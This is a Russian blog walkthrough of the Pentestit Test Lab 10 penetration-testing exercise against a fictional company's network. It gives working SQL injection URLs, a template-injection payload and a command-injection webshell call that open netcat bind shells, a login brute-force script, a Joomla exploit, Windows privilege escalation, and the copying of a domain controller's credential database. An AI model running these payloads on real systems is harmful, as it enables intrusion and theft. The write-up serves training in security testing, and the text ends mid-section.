Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit

в 12:35, , рубрики: pentestit, pentestit test lab, Блог компании DefconRU, информационная безопасность, лаборатория, метки:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 1

Лаборатории компании Pentestit уже стали традицией для многих. Каждый май и ноябрь открывается очередная лаборатория, и тысячи энтузиастов по всему миру не спят сутками чтобы первыми скомпрометировать сеть нового виртуального банка, разработчиков ПО или провайдера услуг в области ИБ.

25-го ноября запустилась очередная, на этот раз 10-я лаборатория, где участникам было предложено прорваться в сеть вымышленной компании Global Data Security — разработчика ПО в области информационной безопасности.

6-го декабря, ровно через 11 суток, лаборатория была пройдена первыми участниками, которые смогли получить доступ к каждому уязвимому узлу сети компании Global Data Security и нашли на них специальные токены — комбинации букв и цифр, которые нужно ввести в панель управления на сайте Pentestit.

Для тех, кто еще не успел заняться лабораторией — она будет активна до мая 2017-го года, после чего ее заменит уже объявленная 11-я лаборатория. А пока, эта статья предлагает описание всех этапов прохождения текущей лаборатории для всех, кто хочет развить свои навыки пентеста и узнать больше об актуальных уязвимостях на конец 2016-го года. Статья получилась длинная, но, надеюсь, интересная.

Disclaimer

Я не являюсь сотрудником или аффилированным лицом компании Pentestit. Этот документ описывает шаги, которые я предпринял, чтобы решить задания в лаборатории. Мои личные рекомендации и предпочтения никаким образом не относятся к официальному мнению компании Pentestit.

Вся информация в этом документе предоставлена исключительно в образовательных целях. Продолжая читать этот документ, вы соглашаетесь не использовать эту информацию в незаконных целях, и подтверждаете, что вы и только вы несете полную ответственность за свои действия или знания, полученные из этого документа. Автор этого документа и компания Pentestit не несут никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате прочтения данного документа.

Подключение к лаборатории

Прежде чем начать, нужно зарегистрироваться в лаборатории, настроить VPN-соединение и подключиться к сети виртуальной компании Global Data Security.

Зарегистрируйтесь здесь, и затем следуйте этим инструкциям для того, чтобы подключиться.

Для проведения тестирования можно установить в виртуальной машине Kali Linux — специальный дистрибутив Линукса для пентестеров, в котором есть все необходимое для работы. Если вы этого еще не сделали, теперь самое время.

Начинаем тестирование

После регистрации и подключения мы видим следующую схему сети:
Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 2

Перед нами gateway с IP-адресом 192.168.101.9 — внешний шлюз компании. Любой пентест полезно начинать с пассивного и активного сбора информации о компании, ее сотрудниках, продуктах, сервисах, публичных сайтах и поддоменах и многом другом.

Пассивный сбор информации означает, что мы не связываемся напрямую с серверами компании, а пробуем найти информацию в общедоступных источниках — Google, LinkedIn, data.com, GitHub, и прочих. Довольно часто можно найти много интересного: имена сотрудников подскажут логины во внутреннюю сеть, на GitHub иногда можно найти исходные тексты, которые помогут лучше узнать о внутреннем устройстве продуктов или инфраструктуры компании, и так далее.

К сожалению, в данном случае пассивный сбор информации не дал желаемых результатов (а вот в прошлой лаборатории, в задании SSH это было очень полезно), поэтому мы переходим к активному сбору информации, то есть такому, который подразумевает прямое взаимодействие с доступными нам ресурсами компании.

Собираем информацию

Начнем мы со сканирования портов, доступных через шлюз:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 3

Полезно также просканировать остальные TCP порты, и UDP порты: о них часто забывают, а ведь множество сервисов, такие как внутренний VPN (например, как в лаборатории #8) и другие. Оставим это в качестве упражнения, а сами пока сконцентрируемся на уже найденной информации.

В результате нам доступны SSH сервер, почтовый SMTP сервер, два сайта и веб-интерфейс для сотрудников в виде CommuniGate Pro на порту 8100. Начнем с изучения сайтов.

При попытке зайти на 192.168.101.9 получаем редирект на домен store.gds.lab. Видимо, сайт доступен по этому виртуальному хосту, и автоматически редиректит нас на него. Добавим нужную строку в /etc/hosts:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 4

На всякий случай мы добавили gds.lab в том числе. Теперь сайт доступен:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 5
Видим, что перед нами магазин на базе OpenCart:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 6

При этом различные попытки его атаковать (например найти XSS или использовать одну из найденных в OpenCart уязвимостей) приводят к такой странице:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 7
Видимо, сайт защищен с помощью Web Application Firewall. Итого, после небольшой разведки, нам стала известна следующая информация:

  • Магазин (видимо, токен store) основан на OpenCart и доступен по виртуальному хосту store.gds.lab
  • На основании сайта пока не удалось точно определить версию OpenCart
  • Любая грубая атака блокируется с помощью WAF (инъекции, XSS, перебор директорий)
  • Доступна папка /admin, но простые пароли по умолчанию не подходят

Попробуем зайти на 80-й порт используя виртуальный хост gds.lab:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 8

Интересно, что здесь доступен еще один ресурс — файловый хостинг ownCloud. Изучив исходный код страницы и сообщение, понимаем, что правильная виртуальный хост — cloud.gds.lab. Внеся соответствующие изменения в hosts файл, получаем возможность пробовать логин и пароль:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 9

Отлично! Попробовав несколько комбинаций вручную, видим, что стандартные пароли не подходят. При этом обнаруживаем в ownCloud интересную особенность: он предлагает сбросить пароль, если пароль неверный, и в зависимости от того, присутствует нужная учетная запись или нет, выдает разные сообщения:

Если учетной записи нет:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 10

Если учетная запись зарегистрирована:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 11

Пароль подобрать не удается, поэтому запомним найденное имя пользователя, и продолжим собирать информацию, на этот раз перейдя на следующий порт — 443.

192.168.101.9, к сожалению, не доступен по https, с сообщением вида:

An error occurred during a connection to 192.168.101.9. SSL received a record that exceeded the maximum permissible length. Error code: SSL_ERROR_RX_RECORD_TOO_LONG

Видимо, что-то с SSL. Сайт плохо сконфигурирован, и доступен по HTTP:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 12

Видимо, это и есть основной сайт компании. Попробуем получить наш первый токен!

Изучаем site

После внимательного изучения страниц сайта, определяем что он, видимо, написан разработчиками компании GDS, и не использует готовую CMS вроде WordPress.

С учетом того, что множество уязвимостей связаны с пользовательским вводом, посмотрим доступные нам entry points. Находим адрес:

http://192.168.101.9:443/post.php?id=1

Если добавить одну кавычку в конце, получаем редирект на основную страницу сайта, а если две — нет. Похоже на SQL injection. Немного поэкспериментировав, находим, что условие находится в скобках:

http://192.168.101.9:443/post.php?id=1') -- -

При этом попытки добавлять UNION SELECT не приводят к успеху, видимо, в сайте есть фильтр на SQL-инъекции. Попробуем его обойти, используя стандартный прием с изменением регистра:

http://192.168.101.9:443/post.php?id=-1') UNiOn SeLect 1, @@veRsiOn -- -

Достанем таблицы:

http://192.168.101.9:443/post.php?id=-1') UNiOn seLeCT 1, GrouP_CONcaT(TabLe_nAmE) FroM InfOrMatIoN_scHemA.TabLes WheRe TabLe_sCheMa=database() -- -

Затем поля:

http://192.168.101.9:443/post.php?id=-1') UNiOn seLeCT 1, GrouP_CONcaT(ColUmN_nAmE) FroM InfOrMatIoN_scHemA.ColuMns WheRe TabLe_NaME='users' -- -

И затем логин и хеш пароля:

http://192.168.101.9:443/post.php?id=-1') UNiOn alL (seLeCT usErNAme, pAssWoRd FroM users liMIT 0,1) -- -

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 13

Используем hashcat (желательно вне виртуальной машины, чтобы использовать GPU) чтобы восстановить пароль (и словари SecLists — очень рекомендую):

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 14
Получилось! Используя dirsearch находим административный интерфейс в папке /admin:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 15

Вводим туда найденные имя пользователя и пароль, и получаем первый токен:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 16

Такого же результата поможет добиться SQLMap с включенной опцией --tamper=randomcase, но последний запрос в любом случае придется сделать вручную.

Берем mail

Во время изучения сайта, обращаем внимание на всю информацию, найденную в процессе исследования. Очень важно не останавливаться в сборе информации и продолжать записывать все найденные особенности.

В частности, на странице Contact Us есть информация о двух учетных записях:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 17

А на основной странице есть ссылка на еще одного человека:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 18

В результате получаем три учетные записи для почтового сервера:

  • a.modlin
  • s.locklear
  • j.wise
  • e.lindsey (подходит пароль с сайта, но в почте ничего нет)

Проверим, не использует ли кто-то из этих пользователей словарный пароль:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 19

Получилось подобрать пароль к пользователю a.modlin. Воспользуемся веб-интерфейсом почты на порту 8100:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 20

Вот и следующий токен, а заодно и письмо от Joshua Wise с Android-приложением и следующим содержимым:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 21.

Запомним это на будущее, судя по IP адресу и схеме сети, это приложение пригодится нам для токена ssh-test.

На данный момент мы внимательно изучили сайт (порт 443) и использовали его для получения двух токенов, кроме того, удалось обнаружить два виртуальных хоста (store.gds.lab и cloud.gds.lab) на 80-м порту. Последние защищены WAF-ом, поэтому несмотря на обилие возможных вариантов, найти уязвимости не получилось из-за постоянных блокировок.

Попробуем пробраться во внутреннюю сеть и продолжить оттуда.

Сервер ssh

Пользователи часто используют одни и те же пароли на разных сервисах. Попробуем зайти на сервер SSH с под e.lindsey, с паролем найденным на сайте:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 22

Получилось! На хосте удобно присутствует nmap, и нам доступна вся внутренняя сеть. Поискав токен, понимаем, что не все так просто.

На сервере есть много интересного. Среди прочего, находим:

  • много новых учетных записей по /etc/passwd и содержимому /home,
  • исходный код магазина в /var/www/, из которого определяем версию OpenCart, пароль к локальной MySQL и хеш пароля администратора OpenCart
  • папку /data/users с правами на вход, но без прав на листинг.

Очень полезная инструкция по пост-эксплуатации Linux-машин доступна здесь. В данном случае повышение привилегий на сервере SSH не подразумевалось авторами лаборатории, но в любом случае изучить содержимое на предмет дополнительных скриптов, настроек конфигурации, вебсайтов, задач в планировщике, подключенных файловых систем и другого очень полезно.

С учетом того, что в конфигурации сайта токена нет, сконцентрируемся на папке /data/users.

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 23

Как видим, на ней отсутствует бит r, но присутствует бит x, а значит заходить и работать с содержимым папки можно, а вот смотреть ее листинг — нельзя. Когда мы сталкиваемся с такой же задачей в вебе (где практически всегда отключен листинг директорий), мы используем утилиты вроде dirb или dirsearch, которые пробуют открыть файлы по словарю, перебирая множество комбинаций. Попробуем сделать то же самое и здесь, словари можно использовать из dirb.

Напишем небольшой скрипт, чтобы рекурсивно перепробовать нужные нам поддиректории и файлы по словарю:

"""Importing os to access file system"""
import os

PATH = "/data/users/"
DICC = "/var/tmp/common.txt"

def attempt_path(path):
    """Check if file or directory exists and print out the result. Return true if directory"""

    if os.path.isfile(path):
        print "Found file : " + path
        return False

    if os.path.isdir(path):
        print "Found dir  : " + path
        return True

    return False

def look_for_subdirs(path):
    """Recursive function to look for dirs"""
    with open(DICC) as dicc:
        for line in dicc:
            curr_path = path + line.rstrip('n')
            if attempt_path(curr_path):
                look_for_subdirs(curr_path + "/")

look_for_subdirs(PATH)
print "Finished"

Теперь нужно подготовить словарь и загрузить его на ssh сервер. Один из способов — выложить словарь и наш код на питоне на локальный веб-сервер, и затем загрузить их с него с помощью wget.

Возьмем словарь из dirb, который в kali находится по адресу /usr/share/dirb/wordlists/common.txt, и добавим в него имена локальных пользователей, а заодно и файл token.txt (надеемся он где-то там):

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 24

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 25

К сожалению, наш IP напрямую недоступен с хоста 172.16.0.8, поэтому используем SSH туннель:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 26

Здесь есть два момента, на которые нужно обратить внимание.

В начале мы делаем remote port forwarding, пробрасывая remote часть «localhost:80» (то есть то, что у на нашей локальной Kali машине находится на порту 80) на локальный (для SSH сервера) порт 8765. Вызвать эту командную строку ssh> можно нажатием комбинации клавиш ~C (удерживая shift нажимем ~ и затем C).

Теперь наш локальный вебсервер доступен нам на хосте SSH. На сервере по умолчанию включен прокси сервер, для локального порта его стоит убрать командой unset.

Теперь все готово, чтобы запускать наш скрипт:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 27

В папке /data/users/rross/docs/ найден токен и SSH-ключ rross-a. Кроме того, мы еще нашли SSH-ключ пользователя a.modlin. Наверняка один из них подойдет к ssh-test. Продолжим!

Разбираемся с ssh-test

Когда мы нашли токен mail, нам стала доступна версия приложения «gds-authenticator»:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 28.
Как видно из письма, адресованного Альфреду Модлину, ему понадобится два фактора для входа на сервер — ключ или пароль, и номер порта SSH, который постоянно меняется. Эффективность второго фактора весьма сомнительна, потому что открытый порт можно просто найти с помощью nmap, но тем не менее мы сделаем эту задачу предполагаемым авторами способом. Распакуем apk и извлечем classes.dex:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 29

Затем сконвертируем dex в jar с помощью одноименной утилиты:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 30

И, наконец, воспользуемся декомпилятором JD, чтобы получить исходники:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 31

  protected void setAuthCode()
  {
    String str = new HOTP().gen("WFLHQEBMJ3XLPDOY", (int)Math.floor(System.currentTimeMillis() / 1000L / 30L), 6);
    int i = Integer.parseInt(str.substring(-5 + str.length()));
    if (i > 65534) {
      i %= 65534;
    }
    TextView localTextView = (TextView)findViewById(2131492983);
    Object[] arrayOfObject = new Object[1];
    arrayOfObject[0] = Integer.valueOf(i);
    localTextView.setText(String.format("%d", arrayOfObject));
  }

Как видим, используется класс HOTP, также доступный в apk, которому дается seed и миллисекунды для вычисления. Попробуем извлечь код, который генерирует номер порта, чтобы научиться делать это, при желании, автоматически.

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 32

И затем скомпилируем и запустим:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 33

Порт есть, осталось написать команду, которая будет подключаться к ssh test одной строкой. Скопируем /data/users/a.modlin/docs/key в локальную папку, а затем воспользуемся sshuttle, чтобы сделать внутреннюю сеть доступной с нашей Kali-машины.

sshuttle (который еще называют a poor man's VPN) использует правила iptables, чтобы сделать внутренние подсети доступными через ssh-туннели. Подключаемся таким образом:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 34

Сделаем bash-скрипт для подключения:

#!/bin/sh
ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i key a.modlin@172.16.0.1 -p$(java Main)

Подключаемся и находим очередной токен:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 35

Атакуем blog

Судя по схеме сети, по адресу 192.168.0.4 находится блог компании, беглое сканирование портов подтвержает присутствие открытого 80-го порта. Подключаемся через sshuttle и посмотрим, что можно найти на блоге:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 36

Выглядит похоже на инсталляцию Joomla! Проверим:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 37

Так и есть. Попробуем нашумевшую недавно уязвимость в Джумле, которая позволяет создать учетную запись администратора без аутентификации. Можно воспользоваться эксплоитом по ссылке, а можно, например, модулем из Metasploit:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 38

Теперь просто заходим под нужным пользователем:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 39

Находим неопубликованную статью:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 40
И используем ее алиас в виде токена, и блог поддался!

Разбираем captcha

Сервер с капчей по адресу 192.168.0.7 предлагает не очень много — только пустую страницу с незагрузившейся картинкой. Немного поизучав исходный код основной
страницы (предварительно подключившись к ssh с помощью sshuttle), можно сделать следующие выводы:

  • Картинка генерируется в подпапке sources с псевдослучайным именем
  • Имя подпапки сохраняется для каждой сессии, и генерируется заново для новой сессии (это понятно если поменять PHPSESSID)
  • Сама по себе картинка не работает — видимо, какая-то старая забытая development версия

Ничего из этого не дает прямых указаний о том, что делать дальше. Воспользовавшись dirsearch, находим кое-что интересное:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 41

Исходя из содержимого robots.txt понимаем, что есть какой-то скрытый bak файл, в котором, видимо, и есть самое интересное.

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 42

При этом readme.txt говорит о том, что картинка удаляется через некоторое время после того, как она была сгенерирована.

Возьмем путь к картинке из основной страницы:

http://192.168.0.7/sources/43f1045f7bfd9bac63fc56dee0de5fc079b2e8a5b504548052de295444e71f5a496e1b931063b6e731844c2bfc2fd3f2cde4cd566d7c77c6e195a8b1362d9955f5ecc512b28eed353386bd0c07f7e17704ea3e4c59450e1b1c2a30e19bfacff4662cb0/captcha.png

Так как мы ищем скрытый bak файл, попробуем заменить расширение png на bak:

http://192.168.0.7/sources/43f1045f7bfd9bac63fc56dee0de5fc079b2e8a5b504548052de295444e71f5a496e1b931063b6e731844c2bfc2fd3f2cde4cd566d7c77c6e195a8b1362d9955f5ecc512b28eed353386bd0c07f7e17704ea3e4c59450e1b1c2a30e19bfacff4662cb0/captcha.bak

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 43

Видимо, это резервная копия исходного кода, которая говорит о том, что есть файл captcha с сериализованной сессией, и файл с бекдор-шеллом, который принимает команды в GET-параметре session и выполняет их.

К сожалению, если зайти еще раз — файла больше нет. Куда он делся? Вспоминаем readme.txt: он удаляется через некоторое время. После нескольких попыток понимаем, что файл становится доступен снова после захода на /index.php. Сделаем небольшой цикл, который будет это делать для нас постоянно, чтобы держать captcha.bak и остальные файлы доступными:

while true; do curl -i -s -k -b 'PHPSESSID=et07feiohsrnaf11n0kt31rf83' http://192.168.0.7/; done

Файл снова на месте. Остается обратиться к ($_SESSION.php)?session=whoami чтобы убедиться, что мы получили возможность удаленного выполнения кода:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 44

Теперь сделаем bind shell на хосте 192.168.0.7 на порту 1234:

http://192.168.0.7/sources/43f1045f7bfd9bac63fc56dee0de5fc079b2e8a5b504548052de295444e71f5a496e1b931063b6e731844c2bfc2fd3f2cde4cd566d7c77c6e195a8b1362d9955f5ecc512b28eed353386bd0c07f7e17704ea3e4c59450e1b1c2a30e19bfacff4662cb0/($_SESSION).php?session=nc -e /bin/sh -nvlp 1234

И подключимся к нему:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 45

Вот и очередной токен!

Взятие hall-of-fame

Изучив открытые порты на 192.168.0.8 обнаруживаем сайт с описанием известных хакеров и возможностью входа:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 46

Полезно начать с изучения карты сайта, доступных и скрытых каталогов, и попыток определить доступных пользователей. К сожалению, login-форма не работает на известных именах.

Внимание привлекают адреса адреса вида http://192.168.0.8/index.php?hname=James, так как параметр может оказаться примером уязвимости типа LFI (local file inclusion), но попытки ее эксплуатировать подставив системные пути не приводят к успеху. Обратимся к dirsearch и попробуем найти скрытые директории:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 47

Среди прочего, нашелся интересный файл: /backup/passwords.txt, и подпапка /dev, закрытая за basic-аутентификацией. Воспользуемся этими паролями на login-странице:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 48

После логина, получаем пароль к /dev части. Воспользуемся им, чтобы зайти в /dev:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 49

Внутри получаем копию внешнего сайта, но на ней подозреваемый ранее параметр hname уязвим к Server-Side Template Injection. Как видно, вписав {{7*7}} мы получаем результат операции (49) в заголовке страницы — который был вычислен на сервере. Мы получили RCE.

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 50

Саму атаку можно детально изучить по ссылке выше, а мы попробуем составить payload для того, чтобы создать bind shell. Для начала уточним имя пользователя:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 51

А затем с помощью следующей команды откроем bind shell:
http://192.168.0.8/dev/index.php?hname={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("nc -nvlp 1234 -e /bin/sh")}}

Подключившись, находим очередной токен!

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 52

Читаем news

news (192.168.0.5) — очередной сайт в Global Data Security, внешне похожий на hall of fame, с возможностью регистрации, входа, восстановления пароля и изучения внутренних новостей.

Логин форма предлагает нам ввести имейл и пароль.
Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 53

Попробовав все известные комбинации логина и пароля уже найденных пользователей (a.modlin, e.lindsey, etc.), понимаем что они не зарегистрированы — мы получаем сообщение wrong e-mail. При этом, попытка ввести admin@gds.lab приводит к другому сообщению: wrong password. Значит, пользователь admin@gds.lab зарегистрирован.

Вооружившись Burp Suite, пробуем подобрать пароль к admin@gds.lab, но это не приводит к успеху. Тогда снова обратимся к dirsearch и поищем что еще скрывается на сайте новостей:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 54

Находим папку /old, а в ней старую версию сайта новостей, в которой есть интересный комментарий, который намекает на существование «простого пользователя», то есть user:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 55

Проверим наши догадки. Логин в /old не приводит ни к чему интересному, а вот если зайти под user@gds.lab с паролем user в новый сайт новостей, видим следующую страницу:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 56

Отлично, осталось зайти под администратором, чтобы получить токен. Мы только что узнали о существовании новой страницы — user_info.php, посмотрим что есть на этот счет в /old.

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 57

После нескольких попыток, понимаем, что если попробовать залогиниться под пользователем admin используя этот адрес, то войти не получится, но вывод user_info.php изменится:

http://192.168.0.5/old/login_2.php?username=admin&password=admin

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 58

То есть, на самом деле мы вошли! Однако новый user_info.php теперь все равно не дает нам попасть внутрь.

Из этого можно заключить, что два сайта используют одну и ту же сессию, и сохраняют в ней информацию о пользователе. Видимо, попытка войти в /old сохраняет в поле username в сессии имя пользователя, и просто не редиректит на user_info.php если пароль неправильный (вместо того чтобы сохранять имя пользователя только после успешного входа с правильным паролем). И хотя для сайта /old этого достаточно, новый еще использует email, поэтому зайти на user_info.php не получается.

Попробуем сбросить пароль для пользователя admin:

http://192.168.0.5/password_restore_2.php?email=admin@gds.lab

Понадеявшись на то, что в форме сброса пароля программист допустил ту же ошибку (а именно, сохранил в сессии имейл) мы пробуем нам сохранить в сессии правильный email для того, чтобы войти под администратором.

Итого, весь процесс состоит из следующих шагов:

  • http://192.168.0.5/login_2.php?email=user%40gds.lab&password=user — входим под user@gds.lab/user в новый сайт
  • http://192.168.0.5/old/login_2.php?username=admin&password=user — устанавливаем значение «admin» в качестве текущего пользователя
  • http://192.168.0.5/password_restore_2.php?email=admin@gds.lab — устанавливаем значение «admin@gds.lab» в качестве текущего email-адреса
  • http://192.168.0.5/user_info.php — мы вошли под администратором

После успешного входа, получаем токен (вырезан на скриншоте ниже):

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 59

И вот, новости поддались!

Получаем web-control

Начнем, как обычно, со сканирования портов, для чего воспользуемся nmap, удобно предоставленным нам на хосте SSH.
Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 60

Изучив 80-й порт, не находим ничего интересного кроме формы для сбора имейлов, которая, к тому же, не работает, и папки /uploads, в которой ничего интересного найти не удалось.

Обратим внимание на нестандартный порт 1503. Чтобы его изучить, попробуем подключиться:

nc 192.168.0.6 1503

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 61

Видимо, нужно подобрать комбинацию логина и пароля. Попробовав известные нам пароли с ssh, hall-of-fame и mail понимаем что все не так просто, и придется написать небольшой скрипт:

"""Sockets"""
import socket

WEB_CONTROL_HOST = '192.168.0.6'
WEB_CONTROL_PORT = 1503
USER_FILE = '/root/pentestit/webc/users.txt'
PASS_FILE = '/opt/SecLists/Passwords/john.txt'

def recv_until(string, sock):
    """Receives data from socket until certain string is found"""
    data = ""
    while True:
        tmp = sock.recv(1)
        if tmp == "":
            break
        data += tmp
        if data.endswith(string):
            break
    return data

def attempt_login(user, password):
    """Attempts to log in under a specified account"""
    # This should not connect every time and should be multi-threaded in an ideal world 
    web_control = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    web_control.connect((WEB_CONTROL_HOST, WEB_CONTROL_PORT))

    reply = recv_until("Enter login: ", web_control)
    web_control.send(user)
    reply = recv_until("Enter password: ", web_control)
    web_control.send(password)
    reply = web_control.recv(6)
    web_control.close()

    return "Error!" not in reply

with open(USER_FILE) as user_file:
    for user_line in user_file:
        with open(PASS_FILE) as pass_file:
            for pass_line in pass_file:
                if attempt_login(user_line, pass_line):
                    print "Success: " + user_line.rstrip('n') + ":" + pass_line.rstrip('n')

В качестве пользователей выпишем известные нам учетные записи с ssh, и несколько стандратных имен:

admin
administrator
root
user
k.barth
m.howard
g.leone
j.wise
s.locklear
e.lindsey
a.modlin

Запускаем скрипт на выполнение, и через некоторое время получаем желаемый результат:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 62

Получилось! После с нужным логином и паролем, понимаем что мы оказались в самописном инструменте для запуска каких-то скриптов.

Множество уязвимостей связано с плохо проверенным пользовательским вводом, попробуем добиться command injection. Если ввод передается в system, мы можем добавить дополнительную команду с помощью разделителя — ;, &, или |. Попробуем!

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 63

Фильтруется все кроме |, что, видимо, было упущено разработчиками. Используя команду | nc -nvlp 1234 -e /bin/sh создаем bind shell на web-control. Теперь остается только подключиться и найти токен:

nc 192.168.0.6 1234
cat /var/opt/token.txt

Токен store

Как видно по схеме сети, store представлен двумя хостами — 172.16.0.4 (production), и 172.16.0.5 (dev). Кроме того, копия магазина находится на хосте ssh в папке /var/www/.

Изучив содержимое /var/www делаем следующие выводы:

  • используется последняя версия OpenCart, в которой нет известных уязвимостей
  • в /var/www/config.php находим пароль к локальной БД, на которой установлена копия магазина; в ней находим хеш пароля пользователя admin — пока он наша единственная надежда.

В hashcat недавно даже появилась возможность подбирать хеши формата OpenCart. Попробуем:
Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 64
К сожалению, подобрать пароль не удается даже на достаточно большом словаре.

Переключим внимание на store и dev-store — возможно в них есть дополнительный скрытый файл, или используется старая, уязвимая версия OpenCart. Через некоторое время обнаруживаем SQL-инъекцию на машине dev-store, которой не было на ssh или store — видимо, на этом сервере осталась старая версия с уязвимостью.

Для проверки, поменяем hosts файл добавив запись:

172.16.0.5      store.gds.lab

И запустим SQLmap:

sqlmap -u 'http://store.gds.lab/index.php?route=product/product&product_id=53*' --sql-shell

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 65

Мы получили доступ к базе данных на dev-store. К сожалению, доступ к файловой системе ограничен (прочесть /etc/passwd или записать что-то в файл через OUTFILE не получается), поэтому, видимо, токен находится прямо в базе.

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 66

И вот, store взят!

Изучаем win-term

Чтобы продвинуться дальше, участникам понадобилось больше четырех дней, хотя, как обычно, ларчик просто открывался. На текущий момент нераскрытыми остались три токена — win-term, win-dc0 и cloud.

Просканировав порты на Windows терминале и контроллере домена (DC0), понимаем что никаких дополнительных сервисов не открыто, версия Windows — 2008 R2, и известных публичных уязвимостей, позволяющих получить code execution нет. Несмотря на это, мы можем определить что обновления давно не устанавливались, так как машмну win-term можно перезагрузить с помощью уязвимости в RDP. Это значит, что вероятно повысить привилегии до администратора после входа на машину будет не так сложно.

Перебор паролей по словарю тоже не дает желаемого результата ни на одной из учетных записей. На всякий случай убеждаемся, что найденные ранее учетные данные существуют в домене:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 67

Все на месте. На данном этапе у нас есть пароли двух пользователей — a.modlin и e.lindsey. Попробуем модифицировать пароль e.lindsey таким образом, чтобы он соответствовал стандартным доменным политикам, и содержал большие и маленькие буквы, и цифры. Начнем с того, что сделаем первую букву пароля e.lindsey заглавной:

rdesktop 192.168.0.3 -u "GDS-OFFICE\e.lindsey" -p "**********" -r disk:share=/root/pentestit/term -r clipboard:PRIMARYCLIPBOARD

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 68

Удалось подключиться! Попробуем повысить привилегии до администратора с использованием известной уязвимости MS16-023. Я скомпилировал этот код в виде exe file, но можно выполнить и через PowerShell. Запускаем:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 69

В полученной консоли администратора создаем отдельного пользователя, удаляем за собой лишние файлы, и заходим под локальным администратором:

rdesktop 192.168.0.3 -u "TermAdmin" -p "Admin123" -r disk:share=/root/pentestit/term -r clipboard:PRIMARYCLIPBOARD

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 70

У администратора находим скрипт подключения зашифрованного диска с помощью TrueCrypt с ключом. Запускаем:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 71

На появившемся диске X есть база KeePass, опять же с ключом:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 72

А в ней — пароль от учетной записи rross к cloud, и долгожданный токен:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 73

Получаем права администратора домена в win-dc0

Продолжая изучать содержимое терминала, мы находим папку с бекапом диска доменного контроллера:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 74

Подключим VHD файл в консоли управления сервером:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 75

Затем скопируем файл WindowsNTDSNtds.dit и WindowsSystem32configSYSTEM с только что подключенного VHD на локальную kali-машину.

